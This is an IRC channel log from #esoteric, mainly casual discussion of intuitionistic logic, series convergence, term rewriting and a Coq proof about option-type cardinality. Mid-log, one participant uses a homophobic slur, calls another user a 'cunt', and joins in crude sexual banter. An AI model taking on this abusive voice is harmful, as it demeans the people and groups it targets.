:charlls!charlls@166.237.157.220 JOIN :#esoteric < 1269799535 0 :myndzi\!unknown@unknown.invalid QUIT :Ping timeout: 268 seconds < 1269799543 0 :AnMaster_!unknown@unknown.invalid NICK :AnMaster < 1269799604 0 :fax!~none@unaffiliated/fax JOIN :#esoteric < 1269799605 0 :ineiros!~itniemin@james.ics.hut.fi JOIN :#esoteric < 1269799735 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Infinite associative arrays + lazy mapping = < 1269799735 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :plus := < 1269799736 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : :nats / {n} [ n := [ 0 := n ] ] < 1269799736 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :| :nats / {n} [ n := :nats / {m} [ m succ := plus n m succ ] ] < 1269799736 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :; < 1269799765 0 :charlls!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1269799910 0 :charlls!charlls@166.237.157.220 JOIN :#esoteric < 1269799921 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :If you had succ as a function not a "method" it'd be < 1269799924 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :succ (plus n m) < 1269800133 0 :MaXo2!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1269800142 0 :yiyus!unknown@unknown.invalid QUIT :*.net *.split < 1269800149 0 :MaXo2!~dwili@esp64-1-82-243-172-27.fbx.proxad.net JOIN :#esoteric < 1269800193 0 :Deewiant!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1269800238 0 :Deewiant!~deewiant@kekkonen.cs.hut.fi JOIN :#esoteric < 1269800275 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Why hello there... DEEWIANT < 1269800288 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Wellhello < 1269800338 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :A little BING noise keeps happening every while on this machine... why grr < 1269800561 0 :yiyus!1242712427@je.je.je JOIN :#esoteric < 1269800780 0 :pineapple!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1269800782 0 :pineapple!~pineapple@cpc3-aztw11-0-0-cust24.aztw.cable.virginmedia.com JOIN :#esoteric < 1269800990 0 :BeholdMyGlory_!~behold@d83-183-183-70.cust.tele2.se JOIN :#esoteric < 1269801076 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Write error: Broken pipe < 1269801662 0 :oklofok!~oklopol@a91-153-122-35.elisa-laajakaista.fi JOIN :#esoteric < 1269801735 0 :cheater3!~cheater@ip-80-226-15-2.vodafone-net.de JOIN :#esoteric < 1269801799 0 :cheater2!unknown@unknown.invalid QUIT :Write error: Connection reset by peer < 1269801938 0 :oklopol!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1269801982 0 :BeholdMyGlory_!unknown@unknown.invalid QUIT :Changing host < 1269801982 0 :BeholdMyGlory_!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1269801985 0 :BeholdMyGlory_!unknown@unknown.invalid NICK :BeholdMyGlory < 1269803239 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1269803407 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :it's weird that you can prove ~~~~P -> ~~P without LEM... < 1269803446 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :no it's not < 1269803478 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1269803527 0 :kar8nga!~kar8nga@91.35.72-86.rev.gaoland.net JOIN :#esoteric < 1269803528 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's just saying ~~~~P -> (P -> False) -> False, so you have hypothesis H : ~~~~P and H' : ~P, but ~P -> ~~~P which immediately contradicts H < 1269803561 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :the point is that the negation gives you contra-whatever-it-is which lets you add more ~'s instead of stripping them off < 1269803573 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : i'm both and i both do and don't have a sense of humor, i think <-- no, that would be the quantum physicists < 1269803662 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and ~~~P -> ~P for that matter < 1269803664 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: intuitively weird, I mean < 1269803672 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :get into #morphism fax :< < 1269803695 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's because you're looking at it wrong < 1269803928 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :~ may be an antitone galois connection, i think? < 1269804005 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :or wait, does that require the excluded middle < 1269804067 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :b -> ~a iff a -> ~b. hm that's obvious really. < 1269804083 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :so no excluded middle required < 1269804139 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise_ ???? < 1269804170 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I think b -> ~a iff a -> ~b is excluded middle? < 1269804182 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :no sorry of course it's not < 1269804232 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :whoa, flood < 1269804233 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :all at once < 1269804235 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :sorry guyz < 1269804249 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :nah with ~a = a -> false, it's just switching of assumptions < 1269804496 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :how to give a geometrical interpretation of Sum[k=1..] (2/3)^k? < 1269804540 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I'm so confused how can 2/3 possibly be less than 1 < 1269804553 0 :adam_d_!~Adam@aath39.neoplus.adsl.tpnet.pl JOIN :#esoteric < 1269804716 0 :adam_d!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1269804776 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION swats fax to unconfuse em -----###
< 1269804807 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I figured it out < 1269804830 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :good, good < 1269804838 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but still can't explain the convergence < 1269804858 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it's obvious from the geometric interpretation >:) < 1269804892 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what is the geometric interpretation < 1269804904 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well one interpretation < 1269804937 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :just divide up say a triangle into infinitely many pieces so that each piece is 2/3 of the previous one < 1269804954 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what < 1269804977 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you mean like chop a triangle up somhow < 1269804988 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :actually chopping up a line segment may be easier < 1269804996 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :area of a triangle = 1/2 w h < 1269805006 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(then you just need length < 1269805007 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :) < 1269805101 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: take a line segment whose length is x where x = 2/3 + (2/3)*x < 1269805140 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :chop off the first 2/3, then note how the rest is just the original scaled by 2/3 < 1269805168 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :that's just solving the equation :( < 1269805181 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it's also a geometric interpretation < 1269805230 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it's just that you obviously need to solve the equation to find out how long the whole segment should be < 1269805330 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :if you use triangles you'll need to take the square root of 2/3 to get the right area < 1269805407 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : it's weird that you can prove ~~~~P -> ~~P without LEM... < 1269805424 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh and that is essentially the galois connection stuff again < 1269805466 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :lol I did an induction on an (impossible) natural < 1269805471 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and it simply gave me no assumptions < 1269805473 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :empty induction! < 1269805488 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(-> P 0) < 1269805530 0 :adam_d_!unknown@unknown.invalid NICK :adam_d < 1269805970 0 :hiato!~fdulu@41.132.216.79 JOIN :#esoteric < 1269806006 0 :hiato!unknown@unknown.invalid QUIT :Client Quit < 1269807090 0 :adam_d!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1269809597 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION has a cool idea
< 1269809600 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :stack-based term rewriting < 1269809612 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :great idea Lindenmayer! < 1269809617 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :how did you come up with that < 1269809665 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fuck you :D < 1269809671 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :no but I mean < 1269809675 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :basically the same as tree rewriting languages < 1269809684 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :except it just checks the stack every iteration < 1269809699 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :that way... you don't need parens or anything < 1269809701 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :really simple impl < 1269809716 0 :kar8nga!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1269809717 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but yet# < 1269809717 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :yet < 1269809720 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :you can do prefix ops < 1269809721 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and t t < 1269809722 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :-> < 1269809723 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and < 1269809724 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and t < 1269809727 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and t t REWRITE LOL < 1269809728 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :t < 1269809810 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric : Interesting profile. < 1269809811 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric : You appear to be a progressive atheist gay programmer. < 1269809811 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric : Possibly a redditor. < 1269809832 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :progressive?? < 1269809833 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Well, you learned one new thing about yourself. < 1269809840 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what the fuck is progressive about being a gay atheist < 1269809841 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: fag name for left-winger < 1269809850 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so wait you hate gays too? :D < 1269809865 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: context? < 1269809887 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :of course not < 1269809895 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :how could you even think that < 1269809905 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :well I know you dislike atheism < 1269809918 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and i don't see how being gay and atheist are not "progressive" for a loose definition < 1269809928 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and I also don't see that Andy- connected the two < 1269809938 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so I was assuming you were using {atheist, gay} bad -> not progressive < 1269809941 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :apologies if I am wrong < 1269809946 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :alise_, he wrote a program to get information about an SL user's profile, including group stuff < 1269809948 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :uh I thought progressive means like < 1269809955 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :http://www.mancer.org/sgeo.txt < 1269809956 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :radical new fresh idea < 1269809958 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :or somethin like that < 1269809962 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :as opposed to same old shit < 1269809975 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :SL ?? < 1269809978 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :well gay atheism isn't exactly acceptable in today's society :))) < 1269809979 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :second life < 1269809981 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: sure, but compared to the 1950s, not now >:) < 1269809984 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: no it just means liberal anyway because USA sucks < 1269809992 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise everyone is a gay atheist < 1269810024 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax is pulling a fax :D < 1269810168 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Axiom Too_Lazy : forall P, P. (* Fill in the boring parts of proofs later *) < 1269810234 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION isn't sure whether that is false or tautological
< 1269810243 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :false, naturally < 1269810246 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :consider Too_Lazy False < 1269810249 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :: False < 1269810260 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :to spell it out < 1269810263 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(P : Proposition) -> P < 1269810276 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :P is the proposition, a value of type P is a proof of P < 1269810302 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm would forall x:P, P be a tautology then? < 1269810333 0 :anto_ram!anto_ram@85.136.223.42.dyn.user.ono.com JOIN :#esoteric < 1269810366 0 :anto_ram!unknown@unknown.invalid PART #esoteric :? < 1269810403 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :what about forall x:P, x < 1269810462 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION guesses at least the first one is, from what you said
< 1269810522 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you can't do forall x:P, x it's a type error < 1269810526 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :(assuming P : Prop) < 1269810538 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :since x is a 'value' < 1269810561 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1269810733 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Incidentally, I'm not gay < 1269810747 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION knew that :P
< 1269810804 0 :tombom_!tombom@wikipedia/Tombomp JOIN :#esoteric < 1269810925 0 :tombom!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1269810954 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : hm would forall x:P, P be a tautology then? < 1269810954 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1269810956 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :well < 1269810960 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :forall P, forall x:P, P < 1269810966 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :forall x:P, x is wrong yeah < 1269810969 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :since x : P < 1269810982 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1269810983 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but forall a:b,c is the dependent function arrow b-->c where the b is called a < 1269810988 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so obviously values don't make any sense there < 1269810990 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: well become gay! < 1269810997 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's fashionable! < 1269811011 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION somewhat wishes he could choose to become bi
< 1269811050 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Use transsexuals as a bridge! < 1269811082 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :sounds kinky < 1269811122 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric : 8:46:22 [Foonetic] CTCP PING reply from Sgeo_: 1374.449 seconds < 1269811123 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric : 22 minutes, Sgeo < 1269811158 0 :hiato!~fdulu@41.132.216.79 JOIN :#esoteric < 1269811161 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: You can't just say that something sounds kinky, we're talking about sexuality < 1269811175 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Therefore no sexual puns can possibly work. < 1269811176 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Q.E.D. < 1269811227 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Did you really use QED in a conversation? < 1269811238 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :quite easily done < 1269811280 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :dixon: Yes, Q.E.D. < 1269811288 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Did I offend you, Q.E.D.? < 1269811319 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :No, you just made yourself look like a bigger pop-culture cargo-cult mathematically inept jackass. < 1269811324 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Are you saying that it's quite easy to offend dixon? [Although oerjan was probably joking] < 1269811334 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :dixon: You're a cunt. :) < 1269811377 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Quite. < 1269812747 0 :hiato!unknown@unknown.invalid QUIT :Quit: underflow < 1269812889 0 :oklofok!unknown@unknown.invalid PRIVMSG #esoteric :dixon and alise_ should just have some bittersweet sex and get it over with < 1269812911 0 :oklofok!unknown@unknown.invalid PRIVMSG #esoteric :two gay atheists in a big pile of progression < 1269812946 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Sadly I'm a friendly. < 1269812956 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269812959 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :@ pile of progression < 1269812969 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :so I still have no clue what progressive means < 1269812978 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :probably means something totally specific to americans < 1269812989 0 :oklofok!unknown@unknown.invalid PRIVMSG #esoteric :it's a buzzword, you don't *know* what it means, you use it < 1269813024 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :it means democrat < 1269813068 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :this is so progressive < 1269813227 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :It generally means liberal. < 1269813264 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :incidentally the progress party is the most right-wing one in the norwegian parliament < 1269813574 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wants a wireless mouse
< 1269813595 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Right now, I'm wrapping the mouse cord around the monitor so it doesn't hang off the table, because hanging off the table results in a pull < 1269813620 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :wireless mouse? hahaha < 1269813626 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you mean a mouse that turns off by itsself < 1269813640 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :..what? < 1269813654 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :battry < 1269813679 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :wireless mice are horrible; I've tried the worst and the best and they're all just as bad < 1269813682 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Just don't even go there < 1269813692 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Hm < 1269813698 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Then I'd like a mouse with a shorter cord < 1269813701 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Much shorter < 1269813710 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Fledermausversuch < 1269814014 0 :MigoMipo!unknown@unknown.invalid QUIT :Quit: Konversation terminated! < 1269814437 0 :tombom_!unknown@unknown.invalid QUIT :Quit: Leaving < 1269817185 0 :jcp!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269817257 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1269817817 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1269817826 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :the topic is incorrect < 1269818071 0 :coppro!unknown@unknown.invalid QUIT :Quit: Reconnecting… < 1269818107 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1269818533 0 :Leonidas_!unknown@unknown.invalid NICK :Leonidas < 1269819759 0 :MizardX-!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1269819829 0 :MizardX!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269819848 0 :MizardX-!unknown@unknown.invalid NICK :MizardX < 1269820256 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1269821376 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://www.tom.sfc.keio.ac.jp/~sakai/hiki/?CPL < 1269821418 0 :lifthras1ir!unknown@unknown.invalid NICK :lifthrasiir < 1269821521 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :right object exp(a,b) with curry is ev: prod(exp,a) -> b < 1269821521 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :end object; < 1269821525 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :that's how to implement lambda < 1269821601 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269822297 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: just tie a loose knot in the cord. < 1269822335 0 :charlls!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1269823835 0 :Oranjer!unknown@unknown.invalid PART #esoteric :? < 1269824925 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I need to be up at ~9am. < 1269824928 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Meh. < 1269824936 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :bye < 1269825067 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hi < 1269825076 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oerjan you like my link < 1269825078 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1269825131 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :um i suppose < 1269825394 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1269825740 0 :dixon!unknown@unknown.invalid QUIT :Quit: Leaving < 1269825955 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :http://pastie.org/892789.txt?key=t975zsuwf3eij1003wwq In which I prove, in 57 labourous lines, that the cardinality of (option T) (i.e. T with an extra element None) is the cardinality of T plus 1, for both finite and infinite types. < 1269825962 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Axioms used: < 1269825966 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Axiom Proof_Irrelevance : forall P : Prop, forall x y : P, x = y. < 1269825966 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Axiom One_Cardinality : forall T, forall c, T |=| c -> forall d, T |=| d <-> d = c. < 1269825976 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I'm certain I could eliminate the former - even though it is totally reasonable - < 1269825982 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and I think I could eliminate the latter with some trickery. < 1269825990 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Apart from that, it's all bijections. < 1269826041 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION bites oerjan
< 1269826056 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and yes I am aware that all of this is ridiculously verbose < 1269826082 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ouch < 1269826325 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Excuse me, I seem to be in need of a rabies shot < 1269826511 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Got rid of proof irrelevance. < 1269826609 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :What language are you proving this stuff in? < 1269826654 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Aliseese. < 1269826747 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Coq. < 1269826757 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :See http://pastie.org/892789.txt?key=t975zsuwf3eij1003wwq though it's much better now. < 1269826914 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Is the Haskell style of separating IO from other stuff a good rule to follow in other languages? < 1269826964 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: btw < 1269826971 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: I wouldn't say that haskell seperates them at all < 1269826987 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: of course. < 1269827027 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you can do pure functions like [IO a] -> [IO a] or whatever < 1269827045 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Here's the current code: http://pastie.org/892810.txt?key=eesyermgmbltv9jhbhk8eq < 1269827081 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I've heard that it's good practice to treat IO and -> as different things. < 1269827089 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :And in Haskell, they are! How neat is that? < 1269827101 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: And here is the totally gnarly lambda term Coq spits out for option_adds_one: http://pastie.org/892808.txt?key=b7m1ufymznbtw8hospsziw < 1269827108 0 :zzo38!~zzo38@h24-207-48-53.dlt.dccnet.com JOIN :#esoteric < 1269827138 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :All that just to prove that |a+1| = |a|+1. < 1269827150 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(Cardinality, of course; not absolute value.) < 1269827160 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Let's see if you can figure out this one... http://golf.shinh.org/p.rb?Check+for+brainwave+activity < 1269827169 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :zzo38: http://pastie.org/892810.txt?key=eesyermgmbltv9jhbhk8eq < 1269827193 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :alise_: Application error < 1269827202 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hi zzo < 1269827209 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :zzo38: Howso? < 1269827224 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Are you just not cool enough for my awesome proof? :| < 1269827235 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :I get a 500 error when accessing that URL < 1269827249 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :!bf ++++++++++++++++[>++>+++>++++>++++++>++++++>+++++++>++++++++<<<<<<<-]+++++++++++++++++>>>>++++.>>++++++.<<<<<++.>>>>>++++++++..>+++.<--.++++++++.>----.>-.<<--------.>>-.<<++++.<<<<.>>>>----.++.>>--.<-----.>++.<.>--.+++++.<<<<<<.>>>>+.+.>>-----.<<.--.>>.<<++.--------.<<<+.<..>>+++++.>>--.>>-------.+++.++.<.+++++.<+++++.<<<. < 1269827255 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :zzo38: Did you include the ?key= part? < 1269827262 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Perhaps try refreshing. < 1269827278 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Yes I did. But now I found out what was wrong and now I can view it < 1269827291 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :I just forgot the "q" at the end. < 1269827325 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Check for brainwave activity? < 1269827328 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I clearly don't have any < 1269827332 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I have no idea what this means < 1269827345 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you're supposed to write a short program that does something :D < 1269827346 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :I mean the computer's brainwave activity. < 1269827350 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :You have < 1269827362 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Wow, 